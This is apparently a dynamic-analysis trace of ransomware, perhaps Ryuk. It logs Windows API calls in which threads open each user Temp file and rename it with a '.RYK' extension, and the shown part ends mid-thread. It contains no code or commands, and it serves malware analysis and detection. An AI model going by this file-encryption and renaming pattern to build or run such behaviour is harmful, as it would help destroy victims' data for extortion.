	[0206.865] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1862
	os_tid = 0x2324

	[0206.870] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4", dwFileAttributes=0x80) returned 0
	[0206.871] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.871] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1863
	os_tid = 0x2328

	[0206.876] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps", dwFileAttributes=0x80) returned 0
	[0206.876] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.876] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.876] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1864
	os_tid = 0x232c

	[0206.987] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav", dwFileAttributes=0x80) returned 0
	[0206.987] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.988] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.988] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1866
	os_tid = 0x2334

	[0206.992] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3", dwFileAttributes=0x80) returned 0
	[0206.993] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.993] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\F8_7cJIxa0Q9_.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\f8_7cjixa0q9_.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1867
	os_tid = 0x2338

	[0207.001] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf", dwFileAttributes=0x80) returned 0
	[0207.001] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.001] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1868
	os_tid = 0x233c

	[0207.005] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf", dwFileAttributes=0x80) returned 0
	[0207.005] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.005] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1869
	os_tid = 0x2340

	[0207.010] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt", dwFileAttributes=0x80) returned 0
	[0207.010] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.010] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.010] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1870
	os_tid = 0x2344

	[0207.014] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png", dwFileAttributes=0x80) returned 0
	[0207.014] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.014] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.015] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1871
	os_tid = 0x2348

	[0207.020] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv", dwFileAttributes=0x80) returned 0
	[0207.020] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.020] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1872
	os_tid = 0x234c

	[0207.026] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi", dwFileAttributes=0x80) returned 0
	[0207.026] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.026] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.026] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1873
	os_tid = 0x2350

	[0207.032] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp", dwFileAttributes=0x80) returned 0
	[0207.032] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.032] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1874
	os_tid = 0x2354

	[0207.037] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png", dwFileAttributes=0x80) returned 0
	[0207.037] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.037] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1875
	os_tid = 0x2358

	[0207.319] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls", dwFileAttributes=0x80) returned 0
	[0207.319] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.319] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.319] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1876
	os_tid = 0x2364

	[0207.324] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a", dwFileAttributes=0x80) returned 0
